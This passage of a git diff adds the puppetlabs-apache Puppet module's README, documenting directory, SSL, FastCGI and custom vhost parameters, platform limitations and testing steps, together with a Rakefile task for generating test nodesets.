AuthBasicProvider 'ldap' is used + +##### `auth_ldap_bind_dn` + +Sets the value for [AuthLDAPBindDN](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapbinddn), which allows use of an optional DN used to bind to the LDAP-server when searching for entries if AuthBasicProvider 'ldap' is used. + +##### `auth_ldap_bind_password` + +Sets the value for [AuthLDAPBindPassword](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapbindpassword), which allows use of an optional bind password to use in conjunction with the bind DN if AuthBasicProvider 'ldap' is used. + +##### `auth_ldap_group_attribute` + +Array of values for [AuthLDAPGroupAttribute](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapgroupattribute), specifies which LDAP attributes are used to check for user members within ldap-groups. Defaults are: "member" and "uniquemember". + +##### `auth_ldap_group_attribute_is_dn` + +Sets value for [AuthLDAPGroupAttributeIsDN](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapgroupattributeisdn), specifies if member of a ldapgroup is a dn or simple username. When set on, this directive says to use the distinguished name of the client username when checking for group membership. Otherwise, the username will be used. valid values are: "on" or "off" + +##### `custom_fragment` + +Pass a string of custom configuration directives to be placed at the end of the directory configuration. + +``` puppet +apache::vhost { 'monitor': + … + directories => [ + { + path => '/path/to/directory', + custom_fragment => ' + + SetHandler balancer-manager + Order allow,deny + Allow from all + + + SetHandler server-status + Order allow,deny + Allow from all + +ProxyStatus On', + }, + ] +} +``` + +##### `dav` + +Sets the value for [Dav](http://httpd.apache.org/docs/current/mod/mod_dav.html#dav), which determines if the WebDAV HTTP methods should be enabled. The value can be either 'On', 'Off' or the name of the provider. A value of 'On' enables the default filesystem provider implemented by the `mod_dav_fs` module. + +##### `dav_depth_infinity` + +Sets the value for [DavDepthInfinity](http://httpd.apache.org/docs/current/mod/mod_dav.html#davdepthinfinity), which is used to enable the processing of `PROPFIND` requests having a `Depth: Infinity` header. + +##### `dav_min_timeout` + +Sets the value for [DavMinTimeout](http://httpd.apache.org/docs/current/mod/mod_dav.html#davmintimeout), which sets the time the server holds a lock on a DAV resource. The value should be the number of seconds to set. + +##### `deny` + +Sets a [Deny](https://httpd.apache.org/docs/2.2/mod/mod_authz_host.html#deny) directive, specifying which hosts are denied access to the server. **Deprecated:** This parameter is being deprecated due to a change in Apache. It only works with Apache 2.2 and lower. You can use it as a single string for one rule or as an array for more than one. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + deny => 'from example.org', + }, + ], +} +``` + +##### `error_documents` + +An array of hashes used to override the [ErrorDocument](https://httpd.apache.org/docs/current/mod/core.html#errordocument) settings for the directory. + +``` puppet +apache::vhost { 'sample.example.net': + directories => [ + { path => '/srv/www', + error_documents => [ + { 'error_code' => '503', + 'document' => '/service-unavail', + }, + ], + }, + ], +} +``` + +##### `ext_filter_options` + +Sets the [ExtFilterOptions](https://httpd.apache.org/docs/current/mod/mod_ext_filter.html) directive. +Note that you must declare `class { 'apache::mod::ext_filter': }` before using this directive. + +``` puppet +apache::vhost { 'filter.example.org': + docroot => '/var/www/filter', + directories => [ + { path => '/var/www/filter', + ext_filter_options => 'LogStderr Onfail=abort', + }, + ], +} +``` + +##### `geoip_enable` + +Sets the [GeoIPEnable](http://dev.maxmind.com/geoip/legacy/mod_geoip2/#Configuration) directive. +Note that you must declare `class {'apache::mod::geoip': }` before using this directive. + +``` puppet +apache::vhost { 'first.example.com': + docroot => '/var/www/first', + directories => [ + { path => '/var/www/first', + geoip_enable => `true`, + }, + ], +} +``` + +##### `headers` + +Adds lines for [Header](https://httpd.apache.org/docs/current/mod/mod_headers.html#header) directives. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => { + path => '/path/to/directory', + headers => 'Set X-Robots-Tag "noindex, noarchive, nosnippet"', + }, +} +``` + +##### `index_options` + +Allows configuration settings for [directory indexing](https://httpd.apache.org/docs/current/mod/mod_autoindex.html#indexoptions). + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + directoryindex => 'disabled', # this is needed on Apache 2.4 or mod_autoindex doesn't work + options => ['Indexes','FollowSymLinks','MultiViews'], + index_options => ['IgnoreCase', 'FancyIndexing', 'FoldersFirst', 'NameWidth=*', 'DescriptionWidth=*', 'SuppressHTMLPreamble'], + }, + ], +} +``` + +##### `index_order_default` + +Sets the [default ordering](https://httpd.apache.org/docs/current/mod/mod_autoindex.html#indexorderdefault) of the directory index. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + order => 'Allow,Deny', + index_order_default => ['Descending', 'Date'], + }, + ], +} +``` + +###### `index_style_sheet` + +Sets the [IndexStyleSheet](https://httpd.apache.org/docs/current/mod/mod_autoindex.html#indexstylesheet), which adds a CSS stylesheet to the directory index. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + options => ['Indexes','FollowSymLinks','MultiViews'], + index_options => ['FancyIndexing'], + index_style_sheet => '/styles/style.css', + }, + ], +} +``` + +##### `limit` + +Creates a [Limit](https://httpd.apache.org/docs/current/mod/core.html#limit) block inside the Directory block, which can also contain `require` directives. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/docroot', + directories => [ + { path => '/', + provider => 'location', + limit => [ + { methods => 'GET HEAD', + require => ['valid-user'] + }, + ], + }, + ], +} +``` + +##### `limit_except` + +Creates a [LimitExcept](https://httpd.apache.org/docs/current/mod/core.html#limitexcept) block inside the Directory block, which can also contain `require` directives. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/docroot', + directories => [ + { path => '/', + provider => 'location', + limit_except => [ + { methods => 'GET HEAD', + require => ['valid-user'] + }, + ], + }, + ], +} +``` + +##### `mellon_enable` + +Sets the [MellonEnable][`mod_auth_mellon`] directory to enable [`mod_auth_mellon`][]. You can use [`apache::mod::auth_mellon`][] to install `mod_auth_mellon`. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/', + provider => 'directory', + mellon_enable => 'info', + mellon_sp_private_key_file => '/etc/certs/${::fqdn}.key', + mellon_endpoint_path => '/mellon', + mellon_set_env_no_prefix => { 'ADFS_GROUP' => 'http://schemas.xmlsoap.org/claims/Group', + 'ADFS_EMAIL' => 'http://schemas.xmlsoap.org/claims/EmailAddress', }, + mellon_user => 'ADFS_LOGIN', + }, + { path => '/protected', + provider => 'location', + mellon_enable => 'auth', + auth_type => 'Mellon', + auth_require => 'valid-user', + mellon_cond => ['ADFS_LOGIN userA [MAP]','ADFS_LOGIN userB [MAP]'], + }, + ] +} +``` + +Related parameters follow the names of `mod_auth_mellon` directives: + +- `mellon_cond`: Takes an array of mellon conditions that must be met to grant access, and creates a [MellonCond][`mod_auth_mellon`] directive for each item in the array. +- `mellon_endpoint_path`: Sets the [MellonEndpointPath][`mod_auth_mellon`] to set the mellon endpoint path. +- `mellon_sp_metadata_file`: Sets the [MellonSPMetadataFile][`mod_auth_mellon`] location of the SP metadata file. +- `mellon_idp_metadata_file`: Sets the [MellonIDPMetadataFile][`mod_auth_mellon`] location of the IDP metadata file. +- `mellon_saml_rsponse_dump`: Sets the [MellonSamlResponseDump][`mod_auth_mellon`] directive to enable debug of SAML. +- `mellon_set_env_no_prefix`: Sets the [MellonSetEnvNoPrefix][`mod_auth_mellon`] directive to a hash of attribute names to map +to environment variables. +- `mellon_sp_private_key_file`: Sets the [MellonSPPrivateKeyFile][`mod_auth_mellon`] directive for the private key location of the service provider. +- `mellon_sp_cert_file`: Sets the [MellonSPCertFile][`mod_auth_mellon`] directive for the public key location of the service provider. +- `mellon_user`: Sets the [MellonUser][`mod_auth_mellon`] attribute to use for the username. + +##### `options` + +Lists the [Options](https://httpd.apache.org/docs/current/mod/core.html#options) for the given Directory block. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + options => ['Indexes','FollowSymLinks','MultiViews'], + }, + ], +} +``` + +##### `order` + +Sets the order of processing Allow and Deny statements as per [Apache core documentation](https://httpd.apache.org/docs/2.2/mod/mod_authz_host.html#order). **Deprecated:** This parameter is being deprecated due to a change in Apache. It only works with Apache 2.2 and lower. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + order => 'Allow,Deny', + }, + ], +} +``` + +##### `passenger_enabled` + +Sets the value for the [PassengerEnabled](http://www.modrails.com/documentation/Users%20guide%20Apache.html#PassengerEnabled) directive to 'on' or 'off'. Requires `apache::mod::passenger` to be included. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + passenger_enabled => 'on', + }, + ], +} +``` + +> **Note:** There is an [issue](http://www.conandalton.net/2010/06/passengerenabled-off-not-working.html) using the PassengerEnabled directive with the PassengerHighPerformance directive. + +##### `php_value` and `php_flag` + +`php_value` sets the value of the directory, and `php_flag` uses a boolean to configure the directory. Further information can be found [here](http://php.net/manual/en/configuration.changes.php). + +##### `php_admin_value` and `php_admin_flag` + +`php_admin_value` sets the value of the directory, and `php_admin_flag` uses a boolean to configure the directory. Further information can be found [here](http://php.net/manual/en/configuration.changes.php). + + +##### `require` + + +Sets a `Require` directive as per the [Apache Authz documentation](https://httpd.apache.org/docs/current/mod/mod_authz_core.html#require). If no `require` is set, it will default to `Require all granted`. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + require => 'ip 10.17.42.23', + } + ], +} +``` + +When more complex sets of requirement are needed, apache >= 2.4 provides the use of [RequireAll](https://httpd.apache.org/docs/2.4/mod/mod_authz_core.html#requireall), [RequireNone](https://httpd.apache.org/docs/2.4/mod/mod_authz_core.html#requirenone) or [RequireAny](https://httpd.apache.org/docs/2.4/mod/mod_authz_core.html#requireany) directives. +Using the 'enforce' key, which only supports 'any','none','all' (other values are silently ignored), this could be established like: + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + require => { + enforce => 'any', + requires => [ + 'ip 1.2.3.4', + 'not host host.example.com', + 'user xyz', + ], + }, + }, + ], +} +``` + +If `require` is set to `unmanaged` it will not be set at all. This is useful for complex authentication/authorization requirements which are handled in a custom fragment. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + require => 'unmanaged', + } + ], +} +``` + + + +##### `satisfy` + +Sets a `Satisfy` directive per the [Apache Core documentation](https://httpd.apache.org/docs/2.2/mod/core.html#satisfy). **Deprecated:** This parameter is deprecated due to a change in Apache and only works with Apache 2.2 and lower. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + satisfy => 'Any', + } + ], +} +``` + +##### `sethandler` + +Sets a `SetHandler` directive per the [Apache Core documentation](https://httpd.apache.org/docs/2.2/mod/core.html#sethandler). + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + sethandler => 'None', + } + ], +} +``` + +##### `set_output_filter` + +Sets a `SetOutputFilter` directive per the [Apache Core documentation](https://httpd.apache.org/docs/current/mod/core.html#setoutputfilter). + +``` puppet +apache::vhost{ 'filter.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + set_output_filter => puppetdb-strip-resource-params, + }, + ], +} +``` + +##### `rewrites` + +Creates URL [`rewrites`](#rewrites) rules in virtual host directories. Expects an array of hashes, and the hash keys can be any of 'comment', 'rewrite_base', 'rewrite_cond', or 'rewrite_rule'. + +``` puppet +apache::vhost { 'secure.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + rewrites => [ { comment => 'Permalink Rewrites', + rewrite_base => '/' + }, + { rewrite_rule => [ '^index\.php$ - [L]' ] + }, + { rewrite_cond => [ '%{REQUEST_FILENAME} !-f', + '%{REQUEST_FILENAME} !-d', + ], + rewrite_rule => [ '. /index.php [L]' ], + } + ], + }, + ], +} +``` + +> **Note**: If you include rewrites in your directories, also include `apache::mod::rewrite` and consider setting the rewrites using the `rewrites` parameter in `apache::vhost` rather than setting the rewrites in the virtual host's directories. + +##### `shib_request_settings` + +Allows a valid content setting to be set or altered for the application request. This command takes two parameters: the name of the content setting, and the value to set it to. Check the Shibboleth [content setting documentation](https://wiki.shibboleth.net/confluence/display/SHIB2/NativeSPContentSettings) for valid settings. This key is disabled if `apache::mod::shib` is not defined. Check the [`mod_shib` documentation](https://wiki.shibboleth.net/confluence/display/SHIB2/NativeSPApacheConfig#NativeSPApacheConfig-Server/VirtualHostOptions) for more details. + +``` puppet +apache::vhost { 'secure.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + shib_request_settings => { 'requiresession' => 'On' }, + shib_use_headers => 'On', + }, + ], +} +``` + +##### `shib_use_headers` + +When set to 'On', this turns on the use of request headers to publish attributes to applications. Values for this key is 'On' or 'Off', and the default value is 'Off'. This key is disabled if `apache::mod::shib` is not defined. Check the [`mod_shib` documentation](https://wiki.shibboleth.net/confluence/display/SHIB2/NativeSPApacheConfig#NativeSPApacheConfig-Server/VirtualHostOptions) for more details. + +##### `ssl_options` + +String or list of [SSLOptions](https://httpd.apache.org/docs/current/mod/mod_ssl.html#ssloptions), which configure SSL engine run-time options. This handler takes precedence over SSLOptions set in the parent block of the virtual host. + +``` puppet +apache::vhost { 'secure.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + ssl_options => '+ExportCertData', + }, + { path => '/path/to/different/dir', + ssl_options => [ '-StdEnvVars', '+ExportCertData'], + }, + ], +} +``` + +##### `suphp` + +A hash containing the 'user' and 'group' keys for the [suPHP_UserGroup](http://www.suphp.org/DocumentationView.html?file=apache/CONFIG) setting. It must be used with `suphp_engine => on` in the virtual host declaration, and can only be passed within `directories`. + +``` puppet +apache::vhost { 'secure.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + suphp => { + user => 'myappuser', + group => 'myappgroup', + }, + }, + ], +} +``` +##### `additional_includes` + +Specifies paths to additional static, specific Apache configuration files in virtual host directories. Values: a array of string path. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/different/dir', + additional_includes => [ '/custom/path/includes', '/custom/path/another_includes', ], + }, + ], +} +``` + +#### SSL parameters for `apache::vhost` + +All of the SSL parameters for `::vhost` default to whatever is set in the base `apache` class. Use the below parameters to tweak individual SSL settings for specific virtual hosts. + +##### `ssl` + +Enables SSL for the virtual host. SSL virtual hosts only respond to HTTPS queries. Values: Boolean. + +Default: `false`. + +##### `ssl_ca` + +Specifies the SSL certificate authority. + +Default: `undef`. + +##### `ssl_cert` + +Specifies the SSL certification. Defaults are based on your OS. + +* RedHat: '/etc/pki/tls/certs/localhost.crt' +* Debian: '/etc/ssl/certs/ssl-cert-snakeoil.pem' +* FreeBSD: '/usr/local/etc/apache22/server.crt' +* Gentoo: '/etc/ssl/apache2/server.crt' + +##### `ssl_protocol` + +Specifies [SSLProtocol](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslprotocol). Expects an array or space separated string of accepted protocols. + +Defaults: 'all', '-SSLv2', '-SSLv3'. + +##### `ssl_cipher` + +Specifies [SSLCipherSuite](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslciphersuite). + +Default: 'HIGH:MEDIUM:!aNULL:!MD5'. + +##### `ssl_honorcipherorder` + +Sets [SSLHonorCipherOrder](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslhonorcipherorder), to cause Apache to use the server's preferred order of ciphers rather than the client's preferred order. Values: + +Values: Boolean, 'on', 'off'. + +Default: `true`. + +##### `ssl_certs_dir` + +Specifies the location of the SSL certification directory. Default: Depends on operating system. + +- Debian: '/etc/ssl/certs' +- Red Hat: '/etc/pki/tls/certs' +- FreeBSD: `undef` +- Gentoo: '/etc/ssl/apache2' + +##### `ssl_chain` + +Specifies the SSL chain. This default works out of the box, but it must be updated in the base `apache` class with your specific certificate information before being used in production. + +Default: `undef`. + +##### `ssl_crl` + +Specifies the certificate revocation list to use. (This default works out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.) + +Default: `undef`. + +##### `ssl_crl_path` + +Specifies the location of the certificate revocation list. (This default works out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production.) + +Default: `undef`. + +##### `ssl_crl_check` + +Sets the certificate revocation check level via the [SSLCARevocationCheck directive](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcarevocationcheck). The default works out of the box but must be specified when using CRLs in production. Only applicable to Apache 2.4 or higher; the value is ignored on older versions. + +Default: `undef`. + +##### `ssl_key` + +Specifies the SSL key. Defaults are based on your operating system. Default work out of the box but must be updated in the base `apache` class with your specific certificate information before being used in production. + +* RedHat: '/etc/pki/tls/private/localhost.key' +* Debian: '/etc/ssl/private/ssl-cert-snakeoil.key' +* FreeBSD: '/usr/local/etc/apache22/server.key' +* Gentoo: '/etc/ssl/apache2/server.key' + +##### `ssl_verify_client` + +Sets the [SSLVerifyClient](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslverifyclient) directive, which sets the certificate verification level for client authentication. + +``` puppet +apache::vhost { 'sample.example.net': + … + ssl_verify_client => 'optional', +} +``` + +Values: 'none', 'optional', 'require', and 'optional_no_ca'. + +Default: `undef`. + + +##### `ssl_verify_depth` + +Sets the [SSLVerifyDepth](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslverifydepth) directive, which specifies the maximum depth of CA certificates in client certificate verification. + +``` puppet +apache::vhost { 'sample.example.net': + … + ssl_verify_depth => 1, +} +``` + +Default: `undef`. + +##### `ssl_proxy_protocol` + +Sets the [SSLProxyProtocol](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyprotocol) directive, which controls which SSL protocol flavors `mod_ssl` should use when establishing its server environment for proxy. It connects to servers using only one of the provided protocols. + +Default: `undef`. + +##### `ssl_proxy_verify` + +Sets the [SSLProxyVerify](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyverify) directive, which configures certificate verification of the remote server when a proxy is configured to forward requests to a remote SSL server. + +Default: `undef`. + +##### `ssl_proxy_verify_depth` + +Sets the [SSLProxyVerifyDepth](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyverifydepth) directive, which configures how deeply mod_ssl should verify before deciding that the remote server does not have a valid certificate. + +A depth of 0 means that only self-signed remote server certificates are accepted, the default depth of 1 means the remote server certificate can be self-signed or signed by a CA that is directly known to the server. + +Default: `undef` + +##### `ssl_proxy_ca_cert` + +Sets the [SSLProxyCACertificateFile](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycacertificatefile) directive, which specifies an all-in-one file where you can assemble the Certificates of Certification Authorities (CA) whose remote servers you deal with. These are used for Remote Server Authentication. This file should be a concatenation of the PEM-encoded certificate files in order of preference. + +Default: `undef` + +##### `ssl_proxy_machine_cert` + +Sets the [SSLProxyMachineCertificateFile](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxymachinecertificatefile) directive, which specifies an all-in-one file where you keep the certs and keys used for this server to authenticate itself to remote servers. This file should be a concatenation of the PEM-encoded certificate files in order of preference. + +``` puppet +apache::vhost { 'sample.example.net': + … + ssl_proxy_machine_cert => '/etc/httpd/ssl/client_certificate.pem', +} +``` + +Default: `undef` + +##### `ssl_proxy_check_peer_cn` + +Sets the [SSLProxyCheckPeerCN](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeercn) directive, which specifies whether the remote server certificate's CN field is compared against the hostname of the request URL. + +Values: 'on', 'off'. + +Default: `undef` + +##### `ssl_proxy_check_peer_name` + +Sets the [SSLProxyCheckPeerName](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeername) directive, which specifies whether the remote server certificate's CN field is compared against the hostname of the request URL. + +Values: 'on', 'off'. + +Default: `undef` + +##### `ssl_proxy_check_peer_expire` + +Sets the [SSLProxyCheckPeerExpire](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxycheckpeerexpire) directive, which specifies whether the remote server certificate is checked for expiration or not. + +Values: 'on', 'off'. + +Default: `undef` + +##### `ssl_options` + +Sets the [SSLOptions](https://httpd.apache.org/docs/current/mod/mod_ssl.html#ssloptions) directive, which configures various SSL engine run-time options. This is the global setting for the given virtual host and can be a string or an array. + +A string: + +``` puppet +apache::vhost { 'sample.example.net': + … + ssl_options => '+ExportCertData', +} +``` + +An array: + +``` puppet +apache::vhost { 'sample.example.net': + … + ssl_options => [ '+StrictRequire', '+ExportCertData' ], +} +``` + +Default: `undef`. + +##### `ssl_openssl_conf_cmd` + +Sets the [SSLOpenSSLConfCmd](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslopensslconfcmd) directive, which provides direct configuration of OpenSSL parameters. + +Default: `undef` + +##### `ssl_proxyengine` + +Specifies whether or not to use [SSLProxyEngine](https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslproxyengine). + +Boolean. + +Default: `true`. + +##### `ssl_stapling` + +Specifies whether or not to use [SSLUseStapling](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslusestapling). By default, uses what is set globally. + +This parameter only applies to Apache 2.4 or higher and is ignored on older versions. + +Boolean or `undef`. + +Default: `undef` + +##### `ssl_stapling_timeout` + +Can be used to set the [SSLStaplingResponderTimeout](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslstaplingrespondertimeout) directive. + +This parameter only applies to Apache 2.4 or higher and is ignored on older versions. + +Default: none. + +##### `ssl_stapling_return_errors` + +Can be used to set the [SSLStaplingReturnResponderErrors](http://httpd.apache.org/docs/current/mod/mod_ssl.html#sslstaplingreturnrespondererrors) directive. + +This parameter only applies to Apache 2.4 or higher and is ignored on older versions. + +Default: none. + +#### Defined type: FastCGI Server + +This type is intended for use with mod\_fastcgi. It allows you to define one or more external FastCGI servers to handle specific file types. + +** Note ** If using Ubuntu 10.04+, you'll need to manually enable the multiverse repository. + +Ex: + +``` puppet +apache::fastcgi::server { 'php': + host => '127.0.0.1:9000', + timeout => 15, + flush => `false`, + faux_path => '/var/www/php.fcgi', + fcgi_alias => '/php.fcgi', + file_type => 'application/x-httpd-php', + pass_header => '' +} +``` + +Within your virtual host, you can then configure the specified file type to be handled by the fastcgi server specified above. + +``` puppet +apache::vhost { 'www': + ... + custom_fragment => 'AddType application/x-httpd-php .php' + ... +} +``` + +##### `host` + +The hostname or IP address and TCP port number (1-65535) of the FastCGI server. + +It is also possible to pass a unix socket: + +``` puppet +apache::fastcgi::server { 'php': + host => '/var/run/fcgi.sock', +} +``` + +##### `timeout` + +The number of seconds of FastCGI application inactivity allowed before the request is aborted and the event is logged (at the error LogLevel). The inactivity timer applies only as long as a connection is pending with the FastCGI application. If a request is queued to an application, but the application doesn't respond (by writing and flushing) within this period, the request is aborted. If communication is complete with the application but incomplete with the client (the response is buffered), the timeout does not apply. + +##### `flush` + +Force a write to the client as data is received from the application. By default, `mod_fastcgi` buffers data in order to free the application as quickly as possible. + +##### `faux_path` + +Does not have to exist in the local filesystem. URIs that Apache resolves to this filename are handled by this external FastCGI application. + +##### `alias` + +A unique alias. This is used internally to link the action with the FastCGI server. + +##### `file_type` + +The MIME-type of the file to be processed by the FastCGI server. + +##### `pass_header` + +The name of an HTTP Request Header to be passed in the request environment. This option makes available the contents of headers which are normally not available (e.g. Authorization) to a CGI environment. + +#### Defined type: `apache::vhost::custom` + +The `apache::vhost::custom` defined type is a thin wrapper around the `apache::custom_config` defined type, and simply overrides some of its default settings specific to the virtual host directory in Apache. + +**Parameters within `apache::vhost::custom`**: + +##### `content` + +Sets the configuration file's content. + +##### `ensure` + +Specifies if the virtual host file is present or absent. + +Values: 'absent', 'present'. + +Default: 'present'. + +##### `priority` + +Sets the relative load order for Apache HTTPD VirtualHost configuration files. + +Default: '25'. + +##### `verify_config` + +Specifies whether to validate the configuration file before notifying the Apache service. + +Boolean. + +Default: `true`. + +### Private defined types + +#### Defined type: `apache::peruser::multiplexer` + +This defined type checks if an Apache module has a class. If it does, it includes that class. If it does not, it passes the module name to the [`apache::mod`][] defined type. + +#### Defined type: `apache::peruser::multiplexer` + +Enables the [`Peruser`][] module for FreeBSD only. + +#### Defined type: `apache::peruser::processor` + +Enables the [`Peruser`][] module for FreeBSD only. + +#### Defined type: `apache::security::file_link` + +Links the `activated_rules` from [`apache::mod::security`][] to the respective CRS rules on disk. + +### Templates + +The Apache module relies heavily on templates to enable the [`apache::vhost`][] and [`apache::mod`][] defined types. These templates are built based on [Facter][] facts specific to your operating system. Unless explicitly called out, most templates are not meant for configuration. + +## Limitations + +### General + +This module is CI tested against both [open source Puppet][] and [Puppet Enterprise][] on: + +- CentOS 5 and 6 +- Ubuntu 12.04 and 14.04 +- Debian 7 +- RHEL 5, 6, and 7 + +This module also provides functions for other distributions and operating systems, such as FreeBSD, Gentoo, and Amazon Linux, but is not formally tested on them and are subject to regressions. + +### FreeBSD + +In order to use this module on FreeBSD, you _must_ use apache24-2.4.12 (www/apache24) or newer. + +### Gentoo + +On Gentoo, this module depends on the [`gentoo/puppet-portage`][] Puppet module. Although several options apply or enable certain features and settings for Gentoo, it is not a [supported operating system][] for this module. + +### RHEL/CentOS +The [`apache::mod::auth_cas`][], [`apache::mod::passenger`][], [`apache::mod::proxy_html`][] and [`apache::mod::shib`][] classes are not functional on RH/CentOS without providing dependency packages from extra repositories. + +See their respective documentation below for related repositories and packages. + +#### RHEL/CentOS 5 + +The [`apache::mod::passenger`][] and [`apache::mod::proxy_html`][] classes are untested because repositories are missing compatible packages. + +#### RHEL/CentOS 6 + +The [`apache::mod::passenger`][] class is not installing, because the the EL6 repository is missing compatible packages. + +#### RHEL/CentOS 7 + +The [`apache::mod::passenger`][] and [`apache::mod::proxy_html`][] classes are untested because the EL7 repository is missing compatible packages, which also blocks us from testing the [`apache::vhost`][] defined type's [`rack_base_uris`][] parameter. + +### SELinux and custom paths + +If [SELinux][] is in [enforcing mode][] and you want to use custom paths for `logroot`, `mod_dir`, `vhost_dir`, and `docroot`, you need to manage the files' context yourself. + +You can do this with Puppet: + +``` puppet +exec { 'set_apache_defaults': + command => 'semanage fcontext -a -t httpd_sys_content_t "/custom/path(/.*)?"', + path => '/bin:/usr/bin/:/sbin:/usr/sbin', + require => Package['policycoreutils-python'], +} + +package { 'policycoreutils-python': + ensure => installed, +} + +exec { 'restorecon_apache': + command => 'restorecon -Rv /apache_spec', + path => '/bin:/usr/bin/:/sbin:/usr/sbin', + before => Class['Apache::Service'], + require => Class['apache'], +} + +class { 'apache': } + +host { 'test.server': + ip => '127.0.0.1', +} + +file { '/custom/path': + ensure => directory, +} + +file { '/custom/path/include': + ensure => present, + content => '#additional_includes', +} + +apache::vhost { 'test.server': + docroot => '/custom/path', + additional_includes => '/custom/path/include', +} +``` + +You must set the contexts using `semanage fcontext` instead of `chcon` because Puppet's `file` resources reset the values' context in the database if the resource doesn't specify it. + +### Ubuntu 10.04 + +The [`apache::vhost::WSGIImportScript`][] parameter creates a statement inside the virtual host that is unsupported on older versions of Apache, causing it to fail. This will be remedied in a future refactoring. + +### Ubuntu 16.04 +The [`apache::mod::suphp`][] class is untested since repositories are missing compatible packages. + +## Development + +### Contributing + +[Puppet][] modules on the [Puppet Forge][] are open projects, and community contributions are essential for keeping them great. We can’t access the huge number of platforms and myriad hardware, software, and deployment configurations that Puppet is intended to serve. + +We want to make it as easy as possible to contribute changes so our modules work in your environment, but we also need contributors to follow a few guidelines to help us maintain and improve the modules' quality. + +For more information, please read the complete [module contribution guide][]. + +### Testing + +This project contains tests for both [rspec-puppet][] and [beaker-rspec][] to verify functionality. For detailed information on using these tools, please see their respective documentation. + +#### Testing quickstart: Ruby > 1.8.7 + +``` +gem install bundler +bundle install +bundle exec rake spec +bundle exec rspec spec/acceptance +RS_DEBUG=yes bundle exec rspec spec/acceptance +``` + +#### Testing quickstart: Ruby = 1.8.7 + +``` +gem install bundler +bundle install --without system_tests +bundle exec rake spec +``` diff --git a/modules/services/unix/http/apache_kali_compatible/apache/Rakefile b/modules/services/unix/http/apache_kali_compatible/apache/Rakefile new file mode 100644 index 000000000..3994519d9 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/Rakefile @@ -0,0 +1,38 @@ +require 'puppetlabs_spec_helper/rake_tasks' +require 'puppet-lint/tasks/puppet-lint' +require 'puppet_blacksmith/rake_tasks' if Bundler.rubygems.find_name('puppet-blacksmith').any? + +PuppetLint.configuration.fail_on_warnings = true +PuppetLint.configuration.send('relative') +PuppetLint.configuration.send('disable_only_variable_string') + +desc 'Generate pooler nodesets' +task :gen_nodeset do + require 'beaker-hostgenerator' + require 'securerandom' + require 'fileutils' + + agent_target = ENV['TEST_TARGET'] + if ! agent_target + STDERR.puts 'TEST_TARGET environment variable is not set' + STDERR.puts 'setting to default value of "redhat-64default."' + agent_target = 'redhat-64default.' + end + + master_target = ENV['MASTER_TEST_TARGET'] + if ! master_target + STDERR.puts 'MASTER_TEST_TARGET environment variable is not set' + STDERR.puts 'setting to default value of "redhat7-64mdcl"' + master_target = 'redhat7-64mdcl' + end + + targets = "#{master_target}-#{agent_target}" + cli = BeakerHostGenerator::CLI.new([targets]) + nodeset_dir = "tmp/nodesets" + nodeset = "#{nodeset_dir}/#{targets}-#{SecureRandom.uuid}.yaml" + FileUtils.mkdir_p(nodeset_dir) + File.open(nodeset, 'w') do |fh| + fh.print(cli.execute) + end + puts nodeset +end diff --git a/modules/services/unix/http/apache/apache.pp 